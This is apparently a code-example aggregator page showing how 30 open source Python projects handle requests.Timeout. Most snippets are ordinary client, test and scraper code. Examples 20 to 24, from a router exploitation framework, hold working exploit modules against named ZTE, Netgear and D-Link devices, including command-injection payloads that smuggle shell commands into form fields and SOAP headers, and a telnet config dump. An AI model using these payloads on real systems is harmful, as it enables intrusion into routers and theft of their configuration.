Python requests.Timeout() Examples

The following are 30 code examples for showing how to use requests.Timeout(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module requests , or try the search function .

Example 1
Project: clashroyale   Author: cgrok   File: client.py    License: MIT License 8 votes vote down vote up
def _request(self, url, refresh=False, **params):
        if self.using_cache and refresh is False:  # refresh=True forces a request instead of using cache
            cache = self._resolve_cache(url, **params)
            if cache is not None:
                return cache
        method = params.get('method', 'GET')
        json_data = params.get('json', {})
        timeout = params.pop('timeout', None) or self.timeout
        if self.is_async:  # return a coroutine
            return self._arequest(url, **params)
        try:
            with self.session.request(
                method, url, timeout=timeout, headers=self.headers, params=params, json=json_data
            ) as resp:
                return self._raise_for_status(resp, resp.text, method=method)
        except requests.Timeout:
            raise NotResponding
        except requests.ConnectionError:
            raise NetworkError 
Example 2
Project: drydock   Author: airshipit   File: api_client.py    License: Apache License 2.0 7 votes vote down vote up
def test_authentication(self):
        try:
            resp = self.get('account/', op='list_authorisation_tokens')
        except requests.Timeout:
            raise errors.TransientDriverError("Timeout connection to MaaS")
        except Exception as ex:
            raise errors.PersistentDriverError(
                "Error accessing MaaS: %s" % str(ex))

        if resp.status_code in [401, 403]:
            raise errors.PersistentDriverError(
                "MaaS API Authentication Failed")

        if resp.status_code in [500, 503]:
            raise errors.TransientDriverError("Received 50x error from MaaS")

        if resp.status_code != 200:
            raise errors.PersistentDriverError(
                "Received unexpected error from MaaS")

        return True 
Example 3
Project: clashroyale   Author: cgrok   File: client.py    License: MIT License 6 votes vote down vote up
def _request(self, url, refresh=False, **params):
        if self.using_cache and refresh is False:  # refresh=True forces a request instead of using cache
            cache = self._resolve_cache(url, **params)
            if cache is not None:
                return cache
        if self.ratelimit[1] == 0 and time() < self.ratelimit[2] / 1000:
            if not url.endswith('/auth/stats'):
                raise RatelimitErrorDetected(self.ratelimit[2] / 1000 - time())
        if self.is_async:  # return a coroutine
            return self._arequest(url, **params)
        timeout = params.pop('timeout', None) or self.timeout
        try:
            with self.session.get(url, timeout=timeout, headers=self.headers, params=params) as resp:
                return self._raise_for_status(resp, resp.text, method='GET')
        except requests.Timeout:
            raise NotResponding
        except requests.ConnectionError:
            raise NetworkError 
Example 4
Project: ripe-atlas-tools   Author: RIPE-NCC   File: probe_search.py    License: GNU General Public License v3.0 6 votes vote down vote up
def test_location_google_breaks(self):
        """User passed location arg but google api gave error"""
        caught_exceptions = [
            requests.ConnectionError, requests.HTTPError, requests.Timeout]
        with mock.patch('requests.get') as mock_get:
            for exception in caught_exceptions:
                mock_get.side_effect = exception
                with capture_sys_output():
                    with self.assertRaises(RipeAtlasToolsException):
                        cmd = Command()
                        cmd.init_args(["--location", "blaaaa"])
                        cmd.run()
            mock_get.side_effect = Exception()
            with self.assertRaises(Exception):
                cmd = Command()
                cmd.init_args(["--location", "blaaaa"])
                cmd.run() 
Example 5
Project: httpswatch   Author: benjaminp   File: check_https.py    License: MIT License 6 votes vote down vote up
def check_http_page(info):
    http_redirect = info.new_check()
    try:
        resp, tree = fetch_through_redirects("http://{}".format(info.domain))
        info.http_redirects_to_https = resp.url.startswith("https://")
        if info.http_redirects_to_https:
            http_redirect.succeed("HTTP site redirects to HTTPS.")
        else:
            http_redirect.fail("HTTP site doesn&rsquo;t redirect to HTTPS.")
    except requests.Timeout:
        http_redirect.fail("The HTTP site times out.")
        return
    except requests.ConnectionError:
        http_redirect.fail("Nothing is listening on port 80")
        return
    except Not200 as e:
        http_redirect.fail("The HTTP site returns an error status ({}) on request.".format(e.status))
        return 
Example 6
Project: oadoi   Author: ourresearch   File: pub.py    License: MIT License 6 votes vote down vote up
def scrape_page_for_open_location(self, my_webpage):
        # logger.info(u"scraping", url)
        try:
            find_pdf_link = self.should_look_for_publisher_pdf()
            if not find_pdf_link:
                logger.info('skipping pdf search')

            my_webpage.scrape_for_fulltext_link(find_pdf_link=find_pdf_link)

            if my_webpage.error:
                self.error += my_webpage.error

            if my_webpage.is_open:
                my_open_location = my_webpage.mint_open_location()
                self.open_locations.append(my_open_location)
                # logger.info(u"found open version at", webpage.url)
            else:
                # logger.info(u"didn't find open version at", webpage.url)
                pass

        except requests.Timeout, e:
            self.error += "Timeout in scrape_page_for_open_location on {}: {}".format(
                my_webpage, unicode(e.message).encode("utf-8"))
            logger.info(self.error) 
Example 7
Project: spkrepo   Author: SynoCommunity   File: utils.py    License: MIT License 6 votes vote down vote up
def _generate_signature(self, stream, timestamp_url, gnupghome):  # pragma: no cover
        # generate the signature
        gpg = gnupg.GPG(gnupghome=gnupghome)
        signature = gpg.sign_file(stream, detach=True)

        # have the signature remotely timestamped
        try:
            response = requests.post(
                timestamp_url, files={"file": signature.data}, timeout=2
            )
        except requests.Timeout:
            raise SPKSignError("Timestamp server did not respond in time")

        # check the response status
        if response.status_code != 200:
            raise SPKSignError(
                "Timestamp server returned with status code %d" % response.status_code
            )

        # verify the timestamp
        if not gpg.verify(response.content):
            raise SPKSignError("Cannot verify timestamp")

        response.encoding = "ascii"
        return response.text 
Example 8
Project: aztk   Author: Azure   File: scheduling_target.py    License: MIT License 6 votes vote down vote up
def http_request_wrapper(func, *args, timeout=None, max_execution_time=300, **kwargs):
    start_time = time.clock()
    while True:
        try:
            response = func(*args, timeout=timeout, **kwargs)
            response.raise_for_status()
            return response
        except requests.Timeout:
            pass

        if (time.clock() - start_time > max_execution_time):
            raise error.AztkError("Waited {} seconds for request {}, exceeded max_execution_time={}".format(
                time.clock() - start_time,
                func.__name__,
                max_execution_time,
            )) 
Example 9
Project: cloudbase-init   Author: cloudbase   File: base.py    License: Apache License 2.0 6 votes vote down vote up
def _get_data(self, path):
        """Getting the required information using metadata service."""
        try:
            response = self._http_request(path)
        except requests.HTTPError as exc:
            if exc.response.status_code == 404:
                raise NotExistingMetadataException(
                    getattr(exc, "message", str(exc)))
            raise
        except requests.exceptions.SSLError as exc:
            LOG.exception(exc)
            raise exception.CertificateVerifyFailed(
                "HTTPS certificate validation failed.")
        except (requests.ConnectionError, requests.Timeout) as exc:
            LOG.exception(exc)
            raise

        return response 
Example 10
Project: nzb-subliminal   Author: caronc   File: tvsubtitles.py    License: GNU General Public License v3.0 6 votes vote down vote up
def request(self, url, params=None, data=None, method='GET'):
        """Make a `method` request on `url` with the given parameters

        :param string url: part of the URL to reach with the leading slash
        :param dict params: params of the request
        :param dict data: data of the request
        :param string method: method of the request
        :return: the response
        :rtype: :class:`bs4.BeautifulSoup`
        :raise: :class:`~subliminal.exceptions.ProviderNotAvailable`

        """
        try:
            r = self.session.request(method, self.server + url, params=params, data=data, timeout=10)
        except requests.Timeout:
            raise ProviderNotAvailable('Timeout after 10 seconds')
        if r.status_code != 200:
            raise ProviderNotAvailable('Request failed with status code %d' % r.status_code)
        return bs4.BeautifulSoup(r.content, ['permissive']) 
Example 11
Project: nzb-subliminal   Author: caronc   File: tvsubtitles.py    License: GNU General Public License v3.0 6 votes vote down vote up
def download_subtitle(self, subtitle):
        try:
            r = self.session.get(self.server + '/download-{subtitle_id}.html'.format(subtitle_id=subtitle.id),
                                 timeout=10)
            logger.debug('Download URL: %s' % (
                self.server + '/download-{subtitle_id}.html'\
                .format(subtitle_id=subtitle.id)))
        except requests.Timeout:
            raise ProviderNotAvailable('Timeout after 10 seconds')
        if r.status_code != 200:
            raise ProviderNotAvailable('Request failed with status code %d' % r.status_code)
        with contextlib.closing(zipfile.ZipFile(io.BytesIO(r.content))) as zf:
            if len(zf.namelist()) > 1:
                raise ProviderError('More than one file to unzip')
            subtitle_bytes = zf.read(zf.namelist()[0])
        subtitle_text = subtitle_bytes.decode(
            detect(subtitle_bytes, subtitle.language.alpha2)['encoding'], 'replace')
        if not is_valid_subtitle(subtitle_text):
            raise InvalidSubtitle
        return subtitle_text 
Example 12
Project: nzb-subliminal   Author: caronc   File: addic7ed.py    License: GNU General Public License v3.0 6 votes vote down vote up
def terminate(self):
        # logout
        if self.logged_in:

            # Toggle our flag reguardless of our success
            self.logged_in = False
            try:
                r = self.session.get(self.server + '/logout.php', timeout=10)
                logger.debug('Successfully logged out of Addic7ed.')
            except requests.Timeout:
                # No problem... we're done anyway
                logger.warning('A timeout occured logging out of Addic7ed!')
                return

            if r.status_code != 200:
                logger.warning(
                    'Addic7ed returned the error code %d while logging out' %\
                    r.status_code,
                )
                return

        # Close our session
        self.session.close() 
Example 13
Project: nzb-subliminal   Author: caronc   File: addic7ed.py    License: GNU General Public License v3.0 6 votes vote down vote up
def download_subtitle(self, subtitle):
        try:
            r = self.session.get(self.server + subtitle.download_link, timeout=10,
                                 headers={'Referer': self.server + subtitle.referer})
            logger.debug('Download URL: %s' % (self.server + subtitle.download_link))
        except requests.Timeout:
            raise ProviderNotAvailable('Timeout after 10 seconds')
        if r.status_code != 200:
            raise ProviderNotAvailable('Request failed with status code %d' % r.status_code)
        if r.headers['Content-Type'] == 'text/html':
            raise ProviderNotAvailable('Download limit exceeded')
        subtitle_text = r.content.decode(
            detect(r.content, subtitle.language.alpha2)['encoding'], 'replace')
        if not is_valid_subtitle(subtitle_text):
            raise InvalidSubtitle
        return subtitle_text 
Example 14
Project: nzb-subliminal   Author: caronc   File: podnapisi.py    License: GNU General Public License v3.0 6 votes vote down vote up
def download_subtitle(self, subtitle):
        try:
            r = self.session.get(self.server + subtitle.link, timeout=10)
            logger.debug('Download URL: %s' % (self.server + subtitle.link))
        except requests.Timeout:
            raise ProviderNotAvailable('Timeout after 10 seconds')
        if r.status_code != 200:
            raise ProviderNotAvailable('Request failed with status code %d' % r.status_code)
        with contextlib.closing(zipfile.ZipFile(io.BytesIO(r.content))) as zf:
            if len(zf.namelist()) > 1:
                raise ProviderError('More than one file to unzip')
            subtitle_bytes = zf.read(zf.namelist()[0])
        subtitle_text = subtitle_bytes.decode(
            detect(subtitle_bytes, subtitle.language.alpha2)['encoding'], 'replace')
        if not is_valid_subtitle(subtitle_text):
            raise InvalidSubtitle
        return subtitle_text 
Example 15
Project: interop   Author: auvsi-suas   File: client.py    License: Apache License 2.0 6 votes vote down vote up
def get_odlcs(self, mission=None):
        """GET odlcs.

        Args:
            mission: Optional. ID of a mission to restrict by.
        Returns:
            List of Odlc objects which are viewable by user.
        Raises:
            InteropError: Error from server.
            requests.Timeout: Request timeout.
            ValueError or AttributeError: Malformed response from server.
        """
        url = '/api/odlcs'
        if mission:
            url += '?mission=%d' % mission
        r = self.get(url)
        odlcs = []
        for odlc_dict in r.json():
            odlc_proto = interop_api_pb2.Odlc()
            json_format.Parse(json.dumps(odlc_dict), odlc_proto)
            odlcs.append(odlc_proto)
        return odlcs 
Example 16
Project: interop   Author: auvsi-suas   File: client.py    License: Apache License 2.0 6 votes vote down vote up
def get_odlc(self, odlc_id):
        """GET odlc.

        Args:
            odlc_id: The ID of the odlc to get.
        Returns:
            Odlc object with corresponding ID.
        Raises:
            InteropError: Error from server.
            requests.Timeout: Request timeout.
            ValueError or AttributeError: Malformed response from server.
        """
        r = self.get('/api/odlcs/%d' % odlc_id)
        odlc = interop_api_pb2.Odlc()
        json_format.Parse(r.text, odlc)
        return odlc 
Example 17
Project: interop   Author: auvsi-suas   File: client.py    License: Apache License 2.0 6 votes vote down vote up
def post_odlc(self, odlc):
        """POST odlc.

        Args:
            odlc: The odlc to upload.
        Returns:
            The odlc after upload, which will include the odlc ID and user.
        Raises:
            InteropError: Error from server.
            requests.Timeout: Request timeout.
            ValueError or AttributeError: Malformed response from server.
        """
        r = self.post('/api/odlcs', data=json_format.MessageToJson(odlc))
        odlc = interop_api_pb2.Odlc()
        json_format.Parse(r.text, odlc)
        return odlc 
Example 18
Project: snippet   Author: xgfone   File: check_music.py    License: MIT License 6 votes vote down vote up
def check_music(site_handler, dbapi, m, equal_test=False):
    try:
        infos = site_handler(m.name)
    except (ConnectionError, Timeout) as err:
        LOG.info("Timeout: sid=%s, name=%s, singer=%s, ablum=%s, err=%s",
                 m.sid, m.name, m.singer, m.ablum, err)
        return

    url = ""
    for info in infos:
        url = _check_music(info, m.name, m.singer, m.ablum, equal_test)
        if url:
            break

    try:
        dbapi.set_url(m.id, url)
    except Exception as err:
        LOG.error("Failed to set url: %s", err)

    if not infos:
        LOG.warning("NotFound: sid=%s, name=%s, singer=%s, ablum=%s",
                    m.sid, m.name, m.singer, m.ablum)
        return 
Example 19
Project: stash   Author: ywangd   File: stashtest.py    License: MIT License 6 votes vote down vote up
def network_is_available():
    """
    Check whether the network is available.
    :return: whether the network is available.
    :rtype: bool
    """
    # to be sure, test multiple sites in case one of them is offline
    test_sites = [
        "https://github.com/ywangd/stash/",  # main StaSh repo
        "https://forum.omz-software.com/",  # pythonista forums
        "https://python.org/",  # python website
        ]
    for url in test_sites:
        try:
            requests.get(url, timeout=5.0)
        except (requests.ConnectionError, requests.Timeout):
            # can not connect, retry.
            continue
        else:
            # successfully connected.
            return True
    return False 
Example 20
Project: rext   Author: j91321   File: f660_config_download.py    License: GNU General Public License v3.0 6 votes vote down vote up
def do_run(self, e):
        url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port)

        try:
            print_warning("Sending exploit")
            # It took me longer than necessary to find out how to use Content-Disposition properly
            # Always set stream=True otherwise you may not get the whole file
            response = requests.post(url, files={'config': ''}, timeout=60, stream=True)
            if response.status_code == 200:
                if response.headers.get('Content-Disposition'):
                    print_success("got file in response")
                    print_info("Writing file to config.bin")
                    core.io.writefile(response.content, "config.bin")
                    print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML")
        except requests.ConnectionError as e:
            print_error("connection error %s" % e)
        except requests.Timeout:
            print_error("timeout") 
Example 21
Project: rext   Author: j91321   File: prosafe_exec.py    License: GNU General Public License v3.0 6 votes vote down vote up
def do_run(self, e):
        url = "http://%s:%s/login_handler.php" % (self.host, self.port)
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; echo "741852'
        try:
            response = requests.post(url=url, headers=headers, data=data, timeout=60)
            if "741852" in response.text:
                print_success("target is vulnerable")
                # Not so sure about quoting of commands that has arguments
                data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; %s' % self.command
                response = requests.post(url=url, headers=headers, data=data, timeout=60)
                print(response.text)
            elif "failure" in response.text:
                print_error("Exploit failed, target is probably patched")
                print(response.text)
        except requests.Timeout:
            print_error("exploit failed")
        except requests.ConnectionError:
            print_error("exploit failed") 
Example 22
Project: rext   Author: j91321   File: dsl_2750b_info.py    License: GNU General Public License v3.0 6 votes vote down vote up
def do_run(self, e):
        url = "http://%s:%s/hidden_info.html" % (self.host, self.port)

        try:
            print_warning("Sending exploit")
            response = requests.get(url, timeout=60)
            if "Manufacture Information" in response.text:
                print_success("information obtained, writing response into hidden_info.html")
                core.io.writetextfile(response.text, "hidden_info.html")
                print_warning("Please check file, response seems to depend on FW version, parsing may not be accurate")
                value = re.findall("str =\(\"\[\{(.*)\}", response.text)
                value = value[0].split(',')
                for i in value:
                    print_green(i)
            else:
                print_error("exploit failed")
        except requests.Timeout:
            print_error("timeout")
        except requests.ConnectionError:
            print_error("exploit failed") 
Example 23
Project: rext   Author: j91321   File: dir815_645_exec.py    License: GNU General Public License v3.0 6 votes vote down vote up
def do_run(self, e):
        url = "http://%s:%s/diagnostic.php" % (self.host, self.port)

        payload = {'act': 'ping',
                   'dst': '& %s&' % self.command}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_warning("Sending exploit")
            response = requests.post(url, headers=headers, data=payload, timeout=60)
            if "<report>OK</report>" in response.text:
                print_success("output not available this is blind injection")
            else:
                print_error("could not find marker in response, exploit failed")
        except requests.Timeout:
            print_error("timeout")
        except requests.ConnectionError:
            print_error("exploit failed") 
Example 24
Project: rext   Author: j91321   File: dir890l_soapaction.py    License: GNU General Public License v3.0 6 votes vote down vote up
def do_run(self, e):
        url = "http://%s:%s/HNAP1" % (self.host, self.port)

        headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command}
        try:
            print_warning("Sending exploit")
            requests.post(url, headers=headers, timeout=60)
            print_warning("HTTPd is still responding this is OK if you changed the payload")
        except requests.ConnectionError:
            print_success("exploit sent.")
            answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)")
            if answer is True:
                tn = telnetlib.Telnet(self.host, self.port)
                print_info("Sending command through telnet")
                tn.read_until(b'#', timeout=15)
                tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n")
                response = tn.read_until(b'#', timeout=15)
                tn.close()
                print_info("Writing response to config.xml")
                writetextfile(response.decode('ascii'), "config.xml")
                print_warning("Don't forget to restart httpd or reboot the device")
        except requests.Timeout:
            print_error("timeout") 
Example 25
Project: drydock   Author: airshipit   File: api_client.py    License: Apache License 2.0 5 votes vote down vote up
def test_connectivity(self):
        try:
            resp = self.get('version/')
        except requests.Timeout:
            raise errors.TransientDriverError("Timeout connection to MaaS")

        if resp.status_code in [500, 503]:
            raise errors.TransientDriverError("Received 50x error from MaaS")

        if resp.status_code != 200:
            raise errors.PersistentDriverError(
                "Received unexpected error from MaaS")

        return True 
Example 26
Project: ripe-atlas-tools   Author: RIPE-NCC   File: probe_search.py    License: GNU General Public License v3.0 5 votes vote down vote up
def location2degrees(self):
        """Fetches degrees based on the given location."""
        error_log = (
            "Following error occured while trying to fetch lat/lon"
            "for location <{}>:\n{}"
        )
        goole_api_url = "http://maps.googleapis.com/maps/api/geocode/json"
        try:
            result = requests.get(goole_api_url, params={
                "sensor": "false",
                "address": self.arguments.location
            })
        except (
            requests.ConnectionError,
            requests.HTTPError,
            requests.Timeout,
        ) as e:
            error_log = error_log.format(self.arguments.location, e)
            raise RipeAtlasToolsException(error_log)

        result = result.json()

        try:
            lat = result["results"][0]["geometry"]["location"]["lat"]
            lng = result["results"][0]["geometry"]["location"]["lng"]
        except (KeyError, IndexError) as e:
            error = error_log.format(self.arguments.location, e)
            raise RipeAtlasToolsException(error)

        return str(lat), str(lng) 
Example 27
Project: httpswatch   Author: benjaminp   File: check_https.py    License: MIT License 5 votes vote down vote up
def check_https_page(info):
    info.can_load_https_page = False
    https_load = info.new_check()
    try:
        resp, tree = fetch_through_redirects("https://{}".format(info.domain))
        info.https_redirects_to_http = resp.url.startswith("http://")
        if info.https_redirects_to_http:
            https_load.fail("The HTTPS site redirects to HTTP.")
            return
        info.can_load_https_page = True
        good_sts = info.new_check()
        sts = resp.headers.get("Strict-Transport-Security")
        if sts is not None:
            m = re.search(r"max-age=(\d+)", sts)
            if m is not None:
                info.sts = int(m.group(1))
                if info.sts >= 2592000:
                    good_sts.succeed("<code>Strict-Transport-Security</code> header is set with a long <code>max-age</code> directive.")
                else:
                    good_sts.fail("<code>Strict-Transport-Security</code> header is set but the <code>max-age</code> is less than 30 days.")
            else:
                good_sts.fail("<code>Strict-Transport-Security</code> header doesn&rsquo;t contain a <code>max-age</code> directive.")
        else:
            good_sts.fail("<code>Strict-Transport-Security</code> header is not set.")
        info.mixed_content = tree is not None and has_mixed_content(tree)
        if info.mixed_content:
            https_load.fail("The HTML page loaded over HTTPS has mixed content.")
            return
    except requests.Timeout:
        https_load.fail("Requesting HTTPS page times out.")
        return
    except Not200 as e:
        https_load.fail("The HTTPS site returns an error status ({}) on request.".format(e.status))
        return
    except requests.ConnectionError:
        https_load.fail("Connection error when connecting to the HTTPS site.")
        return
    https_load.succeed("A page can be successfully fetched over HTTPS.") 
Example 28
Project: mars   Author: mars-project   File: session.py    License: Apache License 2.0 5 votes vote down vote up
def check_service_ready(self, timeout=1):
        import requests
        try:
            resp = self._req_session.get(self._endpoint + '/api', timeout=timeout)
        except (requests.ConnectionError, requests.Timeout):
            return False
        if resp.status_code >= 400:
            return False
        return True 
Example 29
Project: oadoi   Author: ourresearch   File: webpage.py    License: MIT License 5 votes vote down vote up
def set_r_for_pdf(self):
        self.r = None
        try:
            self.r = http_get(url=self.scraped_pdf_url, stream=False, publisher=self.publisher, session_id=self.session_id, ask_slowly=self.ask_slowly)

        except requests.exceptions.ConnectionError as e:
            self.error += u"ERROR: connection error on {} in set_r_for_pdf: {}".format(self.scraped_pdf_url, unicode(e.message).encode("utf-8"))
            logger.info(self.error)
        except requests.Timeout as e:
            self.error += u"ERROR: timeout error on {} in set_r_for_pdf: {}".format(self.scraped_pdf_url, unicode(e.message).encode("utf-8"))
            logger.info(self.error)
        except requests.exceptions.InvalidSchema as e:
            self.error += u"ERROR: InvalidSchema error on {} in set_r_for_pdf: {}".format(self.scraped_pdf_url, unicode(e.message).encode("utf-8"))
            logger.info(self.error)
        except requests.exceptions.RequestException as e:
            self.error += u"ERROR: RequestException in set_r_for_pdf"
            logger.info(self.error)
        except requests.exceptions.ChunkedEncodingError as e:
            self.error += u"ERROR: ChunkedEncodingError error on {} in set_r_for_pdf: {}".format(self.scraped_pdf_url, unicode(e.message).encode("utf-8"))
            logger.info(self.error)
        except NoDoiException as e:
            self.error += u"ERROR: NoDoiException error on {} in set_r_for_pdf: {}".format(self.scraped_pdf_url, unicode(e.message).encode("utf-8"))
            logger.info(self.error)
        except Exception as e:
            self.error += u"ERROR: Exception error in set_r_for_pdf"
            logger.exception(self.error) 
Example 30
Project: stockbot   Author: licxcx   File: common.py    License: GNU General Public License v2.0 5 votes vote down vote up
def retry(times):
    def deco(func):
        def wrapper(*args, **kwargs):
            for i in range(0, times):
                try:
                    resp = func(*args, **kwargs)
                except (requests.Timeout, requests.HTTPError, requests.ConnectionError), ex:
                    logger.warn('Caught requests exception')
                else:
                    return resp
            logger.error('Get response Failed %(t)s times', {'t': times})
        return wrapper